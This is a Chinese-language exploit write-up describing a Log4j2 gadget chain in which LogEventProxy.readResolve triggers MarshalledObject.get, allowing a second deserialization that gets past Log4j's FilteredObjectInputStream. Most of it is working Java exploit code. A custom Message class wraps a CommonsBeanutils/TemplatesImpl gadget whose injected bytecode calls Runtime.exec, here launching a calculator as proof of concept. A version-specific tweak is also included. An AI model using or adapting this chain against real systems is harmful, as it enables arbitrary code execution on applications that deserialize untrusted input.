Log4j2 MarshalledObject二次反序列化
MarshalledObject的get方法可以反序列化
public T get() throws IOException, ClassNotFoundException {
if (objBytes == null) // must have been a null object
return null;
ByteArrayInputStream bin = new ByteArrayInputStream(objBytes);
// locBytes is null if no annotations
ByteArrayInputStream lin =
(locBytes == null ? null : new ByteArrayInputStream(locBytes));
MarshalledObjectInputStream in =
new MarshalledObjectInputStream(bin, lin);
@SuppressWarnings("unchecked")
T obj = (T) in.readObject();
in.close();
return obj;
}objBytes可控
private byte[] objBytes = null;可通过构造方法赋值
public MarshalledObject(T obj) throws IOException {
if (obj == null) {
hash = 13;
return;
}
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ByteArrayOutputStream lout = new ByteArrayOutputStream();
MarshalledObjectOutputStream out =
new MarshalledObjectOutputStream(bout, lout);
out.writeObject(obj);
out.flush();
objBytes = bout.toByteArray();
// locBytes is null if no annotations
locBytes = (out.hadAnnotations() ? lout.toByteArray() : null);
/*
* Calculate hash from the marshalled representation of object
* so the hashcode will be comparable when sent between VMs.
*/
int h = 0;
for (int i = 0; i < objBytes.length; i++) {
h = 31 * h + objBytes[i];
}
hash = h;
}但是get方法不是getter,无法通过常见触发getter链子(fastjson/jackson)利用,需要找一条新链
在log4j2中存在以下链子可直接触发MarshalledObject的get方法
LogEventProxy.readResolve()
LogEventProxy.message()
MarshalledObject.get()LogEventProxy是Log4jLogEvent的内部类,readResolve会调用message方法
protected Object readResolve() {
final Log4jLogEvent result = new Log4jLogEvent(loggerName, marker, loggerFQCN, level, message(), thrown,
thrownProxy, contextData, contextStack, threadId, threadName, threadPriority, source, timeMillis,
nanoTime);
result.setEndOfBatch(isEndOfBatch);
result.setIncludeLocation(isLocationRequired);
return result;
}
private Message message() {
if (marshalledMessage != null) {
try {
return marshalledMessage.get();
} catch (final Exception ex) {
}
}
return new SimpleMessage(messageString);
}message最后return marshalledMessage.get,往上找writeObject方法
private void writeObject(final java.io.ObjectOutputStream s) throws IOException {
this.messageString = message.getFormattedMessage();
this.marshalledMessage = marshall(message);
s.defaultWriteObject();
}跟进marshall方法
private static MarshalledObject<Message> marshall(final Message msg) {
try {
return new MarshalledObject<>(msg);
} catch (final Exception ex) {
return null;
}
}所以最后会调用MarshalledObject.get
Exp
import cn.p0l1st.CBExp;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.core.impl.Log4jLogEvent;
import org.apache.logging.log4j.core.util.FilteredObjectInputStream;
import org.apache.logging.log4j.message.Message;
import java.io.*;
public class Log4jLogEvent_bypass {
public static void main(String[] args) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos.writeObject(getLog4jLogEvent());
FilteredObjectInputStream ois = new FilteredObjectInputStream(new FileInputStream("1.ser"),null);
ois.readObject();
}
public static Object getLog4jLogEvent() throws Exception{
Log4jLogEvent event = Log4jLogEvent.newBuilder()
.setLoggerName("app")
.setLevel(Level.INFO)
.setLoggerFqcn("com.example.App")
.setMessage(new GadgetMessage(CBExp.getPayload()))
.build();
return event;
}
private static final class GadgetMessage implements Message,Serializable{
private static final long serialVersionUID = 1L;
private final transient Object gadget;
public GadgetMessage(Object gadget) {
this.gadget = gadget;
}
private Object writeReplace() throws ObjectStreamException{
return gadget;
}
@Override
public String getFormattedMessage() {
return "";
}
@Override
public String getFormat() {
return "";
}
@Override
public Object[] getParameters() {
return new Object[0];
}
@Override
public Throwable getThrowable() {
return null;
}
}
}public class CBExp {
public static Object getPayload() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("p0l1st");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"open -a Calculator\"); }");
clazz.addConstructor(constructor);
byte[][] bytes = new byte[][]{clazz.toBytecode()};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","p0l1st");
setFieldValue(templates,"_bytecodes",bytes);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.getOutputProperties();
// final BeanComparator beanComparator = new BeanComparator();
final BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,beanComparator);
queue.add("1");
queue.add("1");
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});
return queue;
}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}序列化时通过Log4jLogEvent#writeReplace方法把gadget传入LogEventProxy

然后通过LogEventProxy#writeObject传入MarshalledObject


最终在MarshalledObject#get中进行二次反序列化

log4j>=2.11.0需要删除Log4jLogEvent中的contextData属性
Object obj = getLog4jLogEvent();
Reflections.setFieldValue(obj, "contextData", null);